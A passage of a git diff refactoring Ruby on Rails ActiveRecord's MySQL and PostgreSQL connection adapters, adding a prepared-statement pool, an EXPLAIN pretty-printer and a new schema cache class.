- # * <tt>:socket</tt> - Defaults to "/tmp/mysql.sock".
- # * <tt>:username</tt> - Defaults to "root"
- # * <tt>:password</tt> - Defaults to nothing.
- # * <tt>:database</tt> - The name of the database. No default, must be provided.
- # * <tt>:encoding</tt> - (Optional) Sets the client encoding by executing "SET NAMES <encoding>" after connection.
- # * <tt>:reconnect</tt> - Defaults to false (See MySQL documentation: http://dev.mysql.com/doc/refman/5.0/en/auto-reconnect.html).
- # * <tt>:sslca</tt> - Necessary to use MySQL with an SSL connection.
- # * <tt>:sslkey</tt> - Necessary to use MySQL with an SSL connection.
- # * <tt>:sslcert</tt> - Necessary to use MySQL with an SSL connection.
- # * <tt>:sslcapath</tt> - Necessary to use MySQL with an SSL connection.
- # * <tt>:sslcipher</tt> - Necessary to use MySQL with an SSL connection.
- #
- class MysqlAdapter < AbstractAdapter
-
- ##
- # :singleton-method:
- # By default, the MysqlAdapter will consider all columns of type <tt>tinyint(1)</tt>
- # as boolean. If you wish to disable this emulation (which was the default
- # behavior in versions 0.13.1 and earlier) you can add the following line
- # to your application.rb file:
- #
- # ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans = false
- cattr_accessor :emulate_booleans
- self.emulate_booleans = true
-
- ADAPTER_NAME = 'MySQL'
-
- LOST_CONNECTION_ERROR_MESSAGES = [
- "Server shutdown in progress",
- "Broken pipe",
- "Lost connection to MySQL server during query",
- "MySQL server has gone away" ]
-
- QUOTED_TRUE, QUOTED_FALSE = '1', '0'
-
- NATIVE_DATABASE_TYPES = {
- :primary_key => "int(11) DEFAULT NULL auto_increment PRIMARY KEY",
- :string => { :name => "varchar", :limit => 255 },
- :text => { :name => "text" },
- :integer => { :name => "int", :limit => 4 },
- :float => { :name => "float" },
- :decimal => { :name => "decimal" },
- :datetime => { :name => "datetime" },
- :timestamp => { :name => "datetime" },
- :time => { :name => "time" },
- :date => { :name => "date" },
- :binary => { :name => "blob" },
- :boolean => { :name => "tinyint", :limit => 1 }
- }
+ private
+ def cache
+ @cache[$$]
+ end
+ end
def initialize(connection, logger, connection_options, config)
- super(connection, logger)
- @connection_options, @config = connection_options, config
- @quoted_column_names, @quoted_table_names = {}, {}
- @statements = {}
+ super
+ @statements = StatementPool.new(@connection,
+ config.fetch(:statement_limit) { 1000 })
@client_encoding = nil
connect
end
- def adapter_name #:nodoc:
- ADAPTER_NAME
- end
-
- def supports_bulk_alter? #:nodoc:
- true
- end
-
# Returns true, since this connection adapter supports prepared statement
# caching.
def supports_statement_cache?
true
end
- # Returns true, since this connection adapter supports migrations.
- def supports_migrations? #:nodoc:
- true
- end
+ # HELPER METHODS ===========================================
- # Returns true.
- def supports_primary_key? #:nodoc:
- true
+ def each_hash(result) # :nodoc:
+ if block_given?
+ result.each_hash do |row|
+ row.symbolize_keys!
+ yield row
+ end
+ else
+ to_enum(:each_hash, result)
+ end
end
- # Returns true, since this connection adapter supports savepoints.
- def supports_savepoints? #:nodoc:
- true
+ def new_column(field, default, type, null, collation) # :nodoc:
+ Column.new(field, default, type, null, collation)
end
- def native_database_types #:nodoc:
- NATIVE_DATABASE_TYPES
+ def error_number(exception) # :nodoc:
+ exception.errno if exception.respond_to?(:errno)
end
-
# QUOTING ==================================================
- def quote(value, column = nil)
- if value.kind_of?(String) && column && column.type == :binary && column.class.respond_to?(:string_to_binary)
- s = column.class.string_to_binary(value).unpack("H*")[0]
- "x'#{s}'"
- elsif value.kind_of?(BigDecimal)
- value.to_s("F")
- else
- super
- end
- end
-
def type_cast(value, column)
return super unless value == true || value == false
value ? 1 : 0
end
- def quote_column_name(name) #:nodoc:
- @quoted_column_names[name] ||= "`#{name}`"
- end
-
- def quote_table_name(name) #:nodoc:
- @quoted_table_names[name] ||= quote_column_name(name).gsub('.', '`.`')
- end
-
def quote_string(string) #:nodoc:
@connection.quote(string)
end
- def quoted_true
- QUOTED_TRUE
- end
-
- def quoted_false
- QUOTED_FALSE
- end
-
- # REFERENTIAL INTEGRITY ====================================
-
- def disable_referential_integrity #:nodoc:
- old = select_value("SELECT @@FOREIGN_KEY_CHECKS")
-
- begin
- update("SET FOREIGN_KEY_CHECKS = 0")
- yield
- ensure
- update("SET FOREIGN_KEY_CHECKS = #{old}")
- end
- end
-
# CONNECTION MANAGEMENT ====================================
def active?
@@ -329,9 +221,6 @@ module ActiveRecord
# Clears the prepared statements cache.
def clear_cache!
- @statements.values.each do |cache|
- cache[:stmt].close
- end
@statements.clear
end
@@ -421,20 +310,11 @@ module ActiveRecord
end
end
- # Executes an SQL query and returns a MySQL::Result object. Note that you have to free
- # the Result object after you're done using it.
- def execute(sql, name = nil) #:nodoc:
- if name == :skip_logging
- @connection.query(sql)
- else
- log(sql, name) { @connection.query(sql) }
- end
- rescue ActiveRecord::StatementInvalid => exception
- if exception.message.split(":").first =~ /Packets out of order/
- raise ActiveRecord::StatementInvalid, "'Packets out of order' error was received from the database. Please update your mysql bindings (gem install mysql) and read http://dev.mysql.com/doc/mysql/en/password-hashing.html for more information. If you're on Windows, use the Instant Rails installer to get the updated mysql bindings."
- else
- raise
- end
+ def execute_and_free(sql, name = nil)
+ result = execute(sql, name)
+ ret = yield result
+ result.free
+ ret
end
def insert_sql(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil) #:nodoc:
@@ -443,11 +323,6 @@ module ActiveRecord
end
alias :create :insert_sql
- def update_sql(sql, name = nil) #:nodoc:
- super
- @connection.affected_rows
- end
-
def exec_delete(sql, name, binds)
log(sql, name, binds) do
exec_stmt(sql, name, binds) do |cols, stmt|
@@ -463,337 +338,8 @@ module ActiveRecord
# Transactions aren't supported
end
- def commit_db_transaction #:nodoc:
- execute "COMMIT"
- rescue Exception
- # Transactions aren't supported
- end
-
- def rollback_db_transaction #:nodoc:
- execute "ROLLBACK"
- rescue Exception
- # Transactions aren't supported
- end
-
- def create_savepoint
- execute("SAVEPOINT #{current_savepoint_name}")
- end
-
- def rollback_to_savepoint
- execute("ROLLBACK TO SAVEPOINT #{current_savepoint_name}")
- end
-
- def release_savepoint
- execute("RELEASE SAVEPOINT #{current_savepoint_name}")
- end
-
- # SCHEMA STATEMENTS ========================================
-
- def structure_dump #:nodoc:
- if supports_views?
- sql = "SHOW FULL TABLES WHERE Table_type = 'BASE TABLE'"
- else
- sql = "SHOW TABLES"
- end
-
- select_all(sql).map do |table|
- table.delete('Table_type')
- sql = "SHOW CREATE TABLE #{quote_table_name(table.to_a.first.last)}"
- exec_without_stmt(sql).first['Create Table'] + ";\n\n"
- end.join("")
- end
-
- # Drops the database specified on the +name+ attribute
- # and creates it again using the provided +options+.
- def recreate_database(name, options = {}) #:nodoc:
- drop_database(name)
- create_database(name, options)
- end
-
- # Create a new MySQL database with optional <tt>:charset</tt> and <tt>:collation</tt>.
- # Charset defaults to utf8.
- #
- # Example:
- # create_database 'charset_test', :charset => 'latin1', :collation => 'latin1_bin'
- # create_database 'matt_development'
- # create_database 'matt_development', :charset => :big5
- def create_database(name, options = {})
- if options[:collation]
- execute "CREATE DATABASE `#{name}` DEFAULT CHARACTER SET `#{options[:charset] || 'utf8'}` COLLATE `#{options[:collation]}`"
- else
- execute "CREATE DATABASE `#{name}` DEFAULT CHARACTER SET `#{options[:charset] || 'utf8'}`"
- end
- end
-
- # Drops a MySQL database.
- #
- # Example:
- # drop_database 'sebastian_development'
- def drop_database(name) #:nodoc:
- execute "DROP DATABASE IF EXISTS `#{name}`"
- end
-
- def current_database
- select_value 'SELECT DATABASE() as db'
- end
-
- # Returns the database character set.
- def charset
- show_variable 'character_set_database'
- end
-
- # Returns the database collation strategy.
- def collation
- show_variable 'collation_database'
- end
-
- def tables(name = nil, database = nil) #:nodoc:
- result = execute(["SHOW TABLES", database].compact.join(' IN '), 'SCHEMA')
- tables = result.collect { |field| field[0] }
- result.free
- tables
- end
-
- def table_exists?(name)
- return true if super
-
- name = name.to_s
- schema, table = name.split('.', 2)
-
- unless table # A table was provided without a schema
- table = schema
- schema = nil
- end
-
- tables(nil, schema).include? table
- end
-
- # Returns an array of indexes for the given table.
- def indexes(table_name, name = nil)#:nodoc:
- indexes = []
- current_index = nil
- result = execute("SHOW KEYS FROM #{quote_table_name(table_name)}", name)
- result.each do |row|
- if current_index != row[2]
- next if row[2] == "PRIMARY" # skip the primary key
- current_index = row[2]
- indexes << IndexDefinition.new(row[0], row[2], row[1] == "0", [], [])
- end
-
- indexes.last.columns << row[4]
- indexes.last.lengths << row[7]
- end
- result.free
- indexes
- end
-
- # Returns an array of +MysqlColumn+ objects for the table specified by +table_name+.
- def columns(table_name, name = nil)#:nodoc:
- sql = "SHOW FIELDS FROM #{quote_table_name(table_name)}"
- result = execute(sql, 'SCHEMA')
- columns = result.collect { |field| MysqlColumn.new(field[0], field[4], field[1], field[2] == "YES") }
- result.free
- columns
- end
-
- def create_table(table_name, options = {}) #:nodoc:
- super(table_name, options.reverse_merge(:options => "ENGINE=InnoDB"))
- end
-
- # Renames a table.
- #
- # Example:
- # rename_table('octopuses', 'octopi')
- def rename_table(table_name, new_name)
- execute "RENAME TABLE #{quote_table_name(table_name)} TO #{quote_table_name(new_name)}"
- end
-
- def bulk_change_table(table_name, operations) #:nodoc:
- sqls = operations.map do |command, args|
- table, arguments = args.shift, args
- method = :"#{command}_sql"
-
- if respond_to?(method)
- send(method, table, *arguments)
- else
- raise "Unknown method called : #{method}(#{arguments.inspect})"
- end
- end.flatten.join(", ")
-
- execute("ALTER TABLE #{quote_table_name(table_name)} #{sqls}")
- end
-
- def add_column(table_name, column_name, type, options = {})
- execute("ALTER TABLE #{quote_table_name(table_name)} #{add_column_sql(table_name, column_name, type, options)}")
- end
-
- def change_column_default(table_name, column_name, default) #:nodoc:
- column = column_for(table_name, column_name)
- change_column table_name, column_name, column.sql_type, :default => default
- end
-
- def change_column_null(table_name, column_name, null, default = nil)
- column = column_for(table_name, column_name)
-
- unless null || default.nil?
- execute("UPDATE #{quote_table_name(table_name)} SET #{quote_column_name(column_name)}=#{quote(default)} WHERE #{quote_column_name(column_name)} IS NULL")
- end
-
- change_column table_name, column_name, column.sql_type, :null => null
- end
-
- def change_column(table_name, column_name, type, options = {}) #:nodoc:
- execute("ALTER TABLE #{quote_table_name(table_name)} #{change_column_sql(table_name, column_name, type, options)}")
- end
-
- def rename_column(table_name, column_name, new_column_name) #:nodoc:
- execute("ALTER TABLE #{quote_table_name(table_name)} #{rename_column_sql(table_name, column_name, new_column_name)}")
- end
-
- # Maps logical Rails types to MySQL-specific data types.
- def type_to_sql(type, limit = nil, precision = nil, scale = nil)
- return super unless type.to_s == 'integer'
-
- case limit
- when 1; 'tinyint'
- when 2; 'smallint'
- when 3; 'mediumint'
- when nil, 4, 11; 'int(11)' # compatibility with MySQL default
- when 5..8; 'bigint'
- else raise(ActiveRecordError, "No integer type has byte size #{limit}")
- end
- end
-
- def add_column_position!(sql, options)
- if options[:first]
- sql << " FIRST"
- elsif options[:after]
- sql << " AFTER #{quote_column_name(options[:after])}"
- end
- end
-
- # SHOW VARIABLES LIKE 'name'
- def show_variable(name)
- variables = select_all("SHOW VARIABLES LIKE '#{name}'")
- variables.first['Value'] unless variables.empty?
- end
-
- # Returns a table's primary key and belonging sequence.
- def pk_and_sequence_for(table) #:nodoc:
- keys = []
- result = execute("describe #{quote_table_name(table)}", 'SCHEMA')
- result.each_hash do |h|
- keys << h["Field"]if h["Key"] == "PRI"
- end
- result.free
- keys.length == 1 ? [keys.first, nil] : nil
- end
-
- # Returns just a table's primary key
- def primary_key(table)
- pk_and_sequence = pk_and_sequence_for(table)
- pk_and_sequence && pk_and_sequence.first
- end
-
- def case_sensitive_modifier(node)
- Arel::Nodes::Bin.new(node)
- end
-
- def limited_update_conditions(where_sql, quoted_table_name, quoted_primary_key)
- where_sql
- end
-
- protected
- def quoted_columns_for_index(column_names, options = {})
- length = options[:length] if options.is_a?(Hash)
-
- case length
- when Hash
- column_names.map {|name| length[name] ? "#{quote_column_name(name)}(#{length[name]})" : quote_column_name(name) }
- when Fixnum
- column_names.map {|name| "#{quote_column_name(name)}(#{length})"}
- else
- column_names.map {|name| quote_column_name(name) }
- end
- end
-
- def translate_exception(exception, message)
- return super unless exception.respond_to?(:errno)
-
- case exception.errno
- when 1062
- RecordNotUnique.new(message, exception)
- when 1452
- InvalidForeignKey.new(message, exception)
- else
- super
- end
- end
-
- def add_column_sql(table_name, column_name, type, options = {})
- add_column_sql = "ADD #{quote_column_name(column_name)} #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}"
- add_column_options!(add_column_sql, options)
- add_column_position!(add_column_sql, options)
- add_column_sql
- end
-
- def remove_column_sql(table_name, *column_names)
- columns_for_remove(table_name, *column_names).map {|column_name| "DROP #{column_name}" }
- end
- alias :remove_columns_sql :remove_column
-
- def change_column_sql(table_name, column_name, type, options = {})
- column = column_for(table_name, column_name)
-
- unless options_include_default?(options)
- options[:default] = column.default
- end
-
- unless options.has_key?(:null)
- options[:null] = column.null
- end
-
- change_column_sql = "CHANGE #{quote_column_name(column_name)} #{quote_column_name(column_name)} #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}"
- add_column_options!(change_column_sql, options)
- add_column_position!(change_column_sql, options)
- change_column_sql
- end
-
- def rename_column_sql(table_name, column_name, new_column_name)
- options = {}
-
- if column = columns(table_name).find { |c| c.name == column_name.to_s }
- options[:default] = column.default
- options[:null] = column.null
- else
- raise ActiveRecordError, "No such column: #{table_name}.#{column_name}"
- end
-
- current_type = select_one("SHOW COLUMNS FROM #{quote_table_name(table_name)} LIKE '#{column_name}'")["Type"]
- rename_column_sql = "CHANGE #{quote_column_name(column_name)} #{quote_column_name(new_column_name)} #{current_type}"
- add_column_options!(rename_column_sql, options)
- rename_column_sql
- end
-
- def add_index_sql(table_name, column_name, options = {})
- index_name, index_type, index_columns = add_index_options(table_name, column_name, options)
- "ADD #{index_type} INDEX #{index_name} (#{index_columns})"
- end
-
- def remove_index_sql(table_name, options = {})
- index_name = index_name_for_remove(table_name, options)
- "DROP INDEX #{index_name}"
- end
-
- def add_timestamps_sql(table_name)
- [add_column_sql(table_name, :created_at, :datetime), add_column_sql(table_name, :updated_at, :datetime)]
- end
-
- def remove_timestamps_sql(table_name)
- [remove_column_sql(table_name, :updated_at), remove_column_sql(table_name, :created_at)]
- end
-
private
+
def exec_stmt(sql, name, binds)
cache = {}
if binds.empty?
@@ -805,7 +351,6 @@ module ActiveRecord
stmt = cache[:stmt]
end
-
begin
stmt.execute(*binds.map { |col, val| type_cast(val, col) })
rescue Mysql::Error => e
@@ -834,59 +379,48 @@ module ActiveRecord
result
end
- def connect
- encoding = @config[:encoding]
- if encoding
- @connection.options(Mysql::SET_CHARSET_NAME, encoding) rescue nil
- end
-
- if @config[:sslca] || @config[:sslkey]
- @connection.ssl_set(@config[:sslkey], @config[:sslcert], @config[:sslca], @config[:sslcapath], @config[:sslcipher])
- end
-
- @connection.options(Mysql::OPT_CONNECT_TIMEOUT, @config[:connect_timeout]) if @config[:connect_timeout]
- @connection.options(Mysql::OPT_READ_TIMEOUT, @config[:read_timeout]) if @config[:read_timeout]
- @connection.options(Mysql::OPT_WRITE_TIMEOUT, @config[:write_timeout]) if @config[:write_timeout]
+ def connect
+ encoding = @config[:encoding]
+ if encoding
+ @connection.options(Mysql::SET_CHARSET_NAME, encoding) rescue nil
+ end
- @connection.real_connect(*@connection_options)
+ if @config[:sslca] || @config[:sslkey]
+ @connection.ssl_set(@config[:sslkey], @config[:sslcert], @config[:sslca], @config[:sslcapath], @config[:sslcipher])
+ end
- # reconnect must be set after real_connect is called, because real_connect sets it to false internally
- @connection.reconnect = !!@config[:reconnect] if @connection.respond_to?(:reconnect=)
+ @connection.options(Mysql::OPT_CONNECT_TIMEOUT, @config[:connect_timeout]) if @config[:connect_timeout]
+ @connection.options(Mysql::OPT_READ_TIMEOUT, @config[:read_timeout]) if @config[:read_timeout]
+ @connection.options(Mysql::OPT_WRITE_TIMEOUT, @config[:write_timeout]) if @config[:write_timeout]
- configure_connection
- end
+ @connection.real_connect(*@connection_options)
- def configure_connection
- encoding = @config[:encoding]
- execute("SET NAMES '#{encoding}'", :skip_logging) if encoding
+ # reconnect must be set after real_connect is called, because real_connect sets it to false internally
+ @connection.reconnect = !!@config[:reconnect] if @connection.respond_to?(:reconnect=)
- # By default, MySQL 'where id is null' selects the last inserted id.
- # Turn this off. http://dev.rubyonrails.org/ticket/6778
- execute("SET SQL_AUTO_IS_NULL=0", :skip_logging)
- end
+ configure_connection
+ end
- def select(sql, name = nil, binds = [])
- @connection.query_with_result = true
- rows = exec_query(sql, name, binds).to_a
- @connection.more_results && @connection.next_result # invoking stored procedures with CLIENT_MULTI_RESULTS requires this to tidy up else connection will be dropped
- rows
- end
+ def configure_connection
+ encoding = @config[:encoding]
+ execute("SET NAMES '#{encoding}'", :skip_logging) if encoding
- def supports_views?
- version[0] >= 5
- end
+ # By default, MySQL 'where id is null' selects the last inserted id.
+ # Turn this off. http://dev.rubyonrails.org/ticket/6778
+ execute("SET SQL_AUTO_IS_NULL=0", :skip_logging)
+ end
- # Returns the version of the connected MySQL server.
- def version
- @version ||= @connection.server_info.scan(/^(\d+)\.(\d+)\.(\d+)/).flatten.map { |v| v.to_i }
- end
+ def select(sql, name = nil, binds = [])
+ @connection.query_with_result = true
+ rows = exec_query(sql, name, binds).to_a
+ @connection.more_results && @connection.next_result # invoking stored procedures with CLIENT_MULTI_RESULTS requires this to tidy up else connection will be dropped
+ rows
+ end
- def column_for(table_name, column_name)
- unless column = columns(table_name).find { |c| c.name == column_name.to_s }
- raise "No such column: #{table_name}.#{column_name}"
- end
- column
- end
+ # Returns the version of the connected MySQL server.
+ def version
+ @version ||= @connection.server_info.scan(/^(\d+)\.(\d+)\.(\d+)/).flatten.map { |v| v.to_i }
+ end
end
end
end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb b/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb
index a84f73c73f..2f01fbb829 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb
@@ -1,5 +1,6 @@
require 'active_record/connection_adapters/abstract_adapter'
require 'active_support/core_ext/object/blank'
+require 'active_record/connection_adapters/statement_pool'
# Make sure we're using pg high enough for PGResult#values
gem 'pg', '~> 0.11'
@@ -246,17 +247,75 @@ module ActiveRecord
true
end
+ def supports_index_sort_order?
+ true
+ end
+
+ class StatementPool < ConnectionAdapters::StatementPool
+ def initialize(connection, max)
+ super
+ @counter = 0
+ @cache = Hash.new { |h,pid| h[pid] = {} }
+ end
+
+ def each(&block); cache.each(&block); end
+ def key?(key); cache.key?(key); end
+ def [](key); cache[key]; end
+ def length; cache.length; end
+
+ def next_key
+ "a#{@counter + 1}"
+ end
+
+ def []=(sql, key)
+ while @max <= cache.size
+ dealloc(cache.shift.last)
+ end
+ @counter += 1
+ cache[sql] = key
+ end
+
+ def clear
+ cache.each_value do |stmt_key|
+ dealloc stmt_key
+ end
+ cache.clear
+ end
+
+ def delete(sql_key)
+ dealloc cache[sql_key]
+ cache.delete sql_key
+ end
+
+ private
+ def cache
+ @cache[$$]
+ end
+
+ def dealloc(key)
+ @connection.query "DEALLOCATE #{key}" if connection_active?
+ end
+
+ def connection_active?
+ @connection.status == PGconn::CONNECTION_OK
+ rescue PGError
+ false
+ end
+ end
+
# Initializes and connects a PostgreSQL adapter.
def initialize(connection, logger, connection_parameters, config)
super(connection, logger)
@connection_parameters, @config = connection_parameters, config
+ @visitor = Arel::Visitors::PostgreSQL.new self
# @local_tz is initialized as nil to avoid warnings when connect tries to use it
@local_tz = nil
@table_alias_length = nil
- @statements = {}
connect
+ @statements = StatementPool.new @connection,
+ config.fetch(:statement_limit) { 1000 }
if postgresql_version < 80200
raise "Your version of PostgreSQL (#{postgresql_version}) is too old, please upgrade!"
@@ -267,9 +326,6 @@ module ActiveRecord
# Clears the prepared statements cache.
def clear_cache!
- @statements.each_value do |value|
- @connection.query "DEALLOCATE #{value}"
- end
@statements.clear
end
@@ -458,6 +514,48 @@ module ActiveRecord
# DATABASE STATEMENTS ======================================
+ def explain(arel)
+ sql = "EXPLAIN #{to_sql(arel)}"
+ ExplainPrettyPrinter.new.pp(exec_query(sql))
+ end
+
+ class ExplainPrettyPrinter # :nodoc:
+ # Pretty prints the result of a EXPLAIN in a way that resembles the output of the
+ # PostgreSQL shell:
+ #
+ # QUERY PLAN
+ # ------------------------------------------------------------------------------
+ # Nested Loop Left Join (cost=0.00..37.24 rows=8 width=0)
+ # Join Filter: (posts.user_id = users.id)
+ # -> Index Scan using users_pkey on users (cost=0.00..8.27 rows=1 width=4)
+ # Index Cond: (id = 1)
+ # -> Seq Scan on posts (cost=0.00..28.88 rows=8 width=4)
+ # Filter: (posts.user_id = 1)
+ # (6 rows)
+ #
+ def pp(result)
+ header = result.columns.first
+ lines = result.rows.map(&:first)
+
+ # We add 2 because there's one char of padding at both sides, note
+ # the extra hyphens in the example above.
+ width = [header, *lines].map(&:length).max + 2
+
+ pp = []
+
+ pp << header.center(width).rstrip
+ pp << '-' * width
+
+ pp += lines.map {|line| " #{line}"}
+
+ nrows = result.rows.length
+ rows_label = nrows == 1 ? 'row' : 'rows'
+ pp << "(#{nrows} #{rows_label})"
+
+ pp.join("\n") + "\n"
+ end
+ end
+
# Executes a SELECT query and returns an array of rows. Each row is an
# array of field values.
def select_rows(sql, name = nil)
@@ -614,9 +712,11 @@ module ActiveRecord
# SCHEMA STATEMENTS ========================================
- def recreate_database(name) #:nodoc:
+ # Drops the database specified on the +name+ attribute
+ # and creates it again using the provided +options+.
+ def recreate_database(name, options = {}) #:nodoc:
drop_database(name)
- create_database(name)
+ create_database(name, options)
end
# Create a new PostgreSQL database. Options include <tt>:owner</tt>, <tt>:template</tt>,
@@ -677,12 +777,12 @@ module ActiveRecord
binds << [nil, schema] if schema
exec_query(<<-SQL, 'SCHEMA', binds).rows.first[0].to_i > 0
- SELECT COUNT(*)
- FROM pg_class c
- LEFT JOIN pg_namespace n ON n.oid = c.relnamespace
- WHERE c.relkind in ('v','r')
- AND c.relname = $1
- AND n.nspname = #{schema ? '$2' : 'ANY (current_schemas(false))'}
+ SELECT COUNT(*)
+ FROM pg_class c
+ LEFT JOIN pg_namespace n ON n.oid = c.relnamespace
+ WHERE c.relkind in ('v','r')
+ AND c.relname = $1
+ AND n.nspname = #{schema ? '$2' : 'ANY (current_schemas(false))'}
SQL
end
@@ -697,16 +797,15 @@ module ActiveRecord
# Returns an array of indexes for the given table.
def indexes(table_name, name = nil)
- schemas = schema_search_path.split(/,/).map { |p| quote(p) }.join(',')
result = query(<<-SQL, name)
- SELECT distinct i.relname, d.indisunique, d.indkey, t.oid
+ SELECT distinct i.relname, d.indisunique, d.indkey, pg_get_indexdef(d.indexrelid), t.oid
FROM pg_class t
INNER JOIN pg_index d ON t.oid = d.indrelid
INNER JOIN pg_class i ON d.indexrelid = i.oid
WHERE i.relkind = 'i'
AND d.indisprimary = 'f'
AND t.relname = '#{table_name}'
- AND i.relnamespace IN (SELECT oid FROM pg_namespace WHERE nspname IN (#{schemas}) )
+ AND i.relnamespace IN (SELECT oid FROM pg_namespace WHERE nspname = ANY (current_schemas(false)) )
ORDER BY i.relname
SQL
@@ -715,7 +814,8 @@ module ActiveRecord
index_name = row[0]
unique = row[1] == 't'
indkey = row[2].split(" ")
- oid = row[3]
+ inddef = row[3]
+ oid = row[4]
columns = Hash[query(<<-SQL, "Columns for index #{row[0]} on #{table_name}")]
SELECT a.attnum, a.attname
@@ -725,7 +825,12 @@ module ActiveRecord
SQL
column_names = columns.values_at(*indkey).compact
- column_names.empty? ? nil : IndexDefinition.new(table_name, index_name, unique, column_names)
+
+ # add info on sort order for columns (only desc order is explicitly specified, asc is the default)
+ desc_order_columns = inddef.scan(/(\w+) DESC/).flatten
+ orders = desc_order_columns.any? ? Hash[desc_order_columns.map {|order_column| [order_column, :desc]}] : {}
+
+ column_names.empty? ? nil : IndexDefinition.new(table_name, index_name, unique, column_names, [], orders)
end.compact
end
@@ -769,7 +874,7 @@ module ActiveRecord
# Returns the active schema search path.
def schema_search_path
- @schema_search_path ||= query('SHOW search_path')[0][0]
+ @schema_search_path ||= query('SHOW search_path', 'SCHEMA')[0][0]
end
# Returns the current client message level.
@@ -865,12 +970,14 @@ module ActiveRecord
# Example:
# rename_table('octopuses', 'octopi')
def rename_table(name, new_name)
+ clear_cache!
execute "ALTER TABLE #{quote_table_name(name)} RENAME TO #{quote_table_name(new_name)}"
end
# Adds a new column to the named table.
# See TableDefinition#column for details of the options you can use.
def add_column(table_name, column_name, type, options = {})
+ clear_cache!
add_column_sql = "ALTER TABLE #{quote_table_name(table_name)} ADD COLUMN #{quote_column_name(column_name)} #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}"
add_column_options!(add_column_sql, options)
@@ -879,6 +986,7 @@ module ActiveRecord
# Changes the column of a table.
def change_column(table_name, column_name, type, options = {})
+ clear_cache!
quoted_table_name = quote_table_name(table_name)
execute "ALTER TABLE #{quoted_table_name} ALTER COLUMN #{quote_column_name(column_name)} TYPE #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}"
@@ -889,10 +997,12 @@ module ActiveRecord
# Changes the default value of a table column.
def change_column_default(table_name, column_name, default)
+ clear_cache!
execute "ALTER TABLE #{quote_table_name(table_name)} ALTER COLUMN #{quote_column_name(column_name)} SET DEFAULT #{quote(default)}"
end
def change_column_null(table_name, column_name, null, default = nil)
+ clear_cache!
unless null || default.nil?
execute("UPDATE #{quote_table_name(table_name)} SET #{quote_column_name(column_name)}=#{quote(default)} WHERE #{quote_column_name(column_name)} IS NULL")
end
@@ -901,6 +1011,7 @@ module ActiveRecord
# Renames a column in a table.
def rename_column(table_name, column_name, new_column_name)
+ clear_cache!
execute "ALTER TABLE #{quote_table_name(table_name)} RENAME COLUMN #{quote_column_name(column_name)} TO #{quote_column_name(new_column_name)}"
end
@@ -948,6 +1059,8 @@ module ActiveRecord
end
module Utils
+ extend self
+
# Returns an array of <tt>[schema_name, table_name]</tt> extracted from +name+.
# +schema_name+ is nil if not specified in +name+.
# +schema_name+ and +table_name+ exclude surrounding quotes (regardless of whether provided in +name+)
@@ -958,7 +1071,7 @@ module ActiveRecord
# * <tt>schema_name.table_name</tt>
# * <tt>schema_name."table.name"</tt>
# * <tt>"schema.name"."table name"</tt>
- def self.extract_schema_and_table(name)
+ def extract_schema_and_table(name)
table, schema = name.scan(/[^".\s]+|"[^"]*"/)[0..1].collect{|m| m.gsub(/(^"|"$)/,'') }.reverse
[schema, table]
end
@@ -982,26 +1095,54 @@ module ActiveRecord
end
private
+ FEATURE_NOT_SUPPORTED = "0A000" # :nodoc:
+
def exec_no_cache(sql, binds)
@connection.async_exec(sql)
end
def exec_cache(sql, binds)
- unless @statements.key? sql
- nextkey = "a#{@statements.length + 1}"
- @connection.prepare nextkey, sql
- @statements[sql] = nextkey
+ begin
+ stmt_key = prepare_statement sql
+
+ # Clear the queue
+ @connection.get_last_result
+ @connection.send_query_prepared(stmt_key, binds.map { |col, val|
+ type_cast(val, col)
+ })
+ @connection.block
+ @connection.get_last_result
+ rescue PGError => e
+ # Get the PG code for the failure. Annoyingly, the code for
+ # prepared statements whose return value may have changed is
+ # FEATURE_NOT_SUPPORTED. Check here for more details:
+ # http://git.postgresql.org/gitweb/?p=postgresql.git;a=blob;f=src/backend/utils/cache/plancache.c#l573
+ code = e.result.result_error_field(PGresult::PG_DIAG_SQLSTATE)
+ if FEATURE_NOT_SUPPORTED == code
+ @statements.delete sql_key(sql)
+ retry
+ else
+ raise e
+ end
end
+ end
- key = @statements[sql]
+ # Returns the statement identifier for the client side cache
+ # of statements
+ def sql_key(sql)
+ "#{schema_search_path}-#{sql}"
+ end
- # Clear the queue
- @connection.get_last_result
- @connection.send_query_prepared(key, binds.map { |col, val|
- type_cast(val, col)
- })
- @connection.block
- @connection.get_last_result
+ # Prepare the statement if it hasn't been prepared, return
+ # the statement key.
+ def prepare_statement(sql)
+ sql_key = sql_key(sql)
+ unless @statements.key? sql_key
+ nextkey = @statements.next_key
+ @connection.prepare nextkey, sql
+ @statements[sql_key] = nextkey
+ end
+ @statements[sql_key]
end
# The internal PostgreSQL identifier of the money data type.
diff --git a/activerecord/lib/active_record/connection_adapters/schema_cache.rb b/activerecord/lib/active_record/connection_adapters/schema_cache.rb
new file mode 100644
index 0000000000..b14b37ce89
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/schema_cache.rb
@@ -0,0 +1,72 @@
+module ActiveRecord
+ module ConnectionAdapters
+ class SchemaCache
+ attr_reader :columns, :columns_hash, :primary_keys, :tables
+ attr_reader :column_defaults
+ attr_reader :connection
+
+ def initialize(conn)
+ @connection = conn
+ @tables = {}
+
+ @columns = Hash.new do |h, table_name|
+ h[table_name] =
+ # Fetch a list of columns
+ conn.columns(table_name, "#{table_name} Columns").tap do |cs|
+ # set primary key information
+ cs.each do |column|
+ column.primary = column.name == primary_keys[table_name]
+ end
+ end
+ end
+
+ @columns_hash = Hash.new do |h, table_name|
+ h[table_name] = Hash[columns[table_name].map { |col|
+ [col.name, col]
+ }]
+ end
+
+ @column_defaults = Hash.new do |h, table_name|
+ h[table_name] = Hash[columns[table_name].map { |col|
+ [col.name, col.default]
+ }]
+ end
+
+ @primary_keys = Hash.new do |h, table_name|
+ h[table_name] = table_exists?(table_name) ?
+ conn.primary_key(table_name) : 'id'
+ end
+ end
+
+ # A cached lookup for table existence.
+ def table_exists?(name)
+ return @tables[name] if @tables.key? name
+
+ connection.tables.each { |table| @tables[table] = true }
+ @tables[name] = connection.table_exists?(name) if !@tables.key?(name)
+
+ @tables[name]
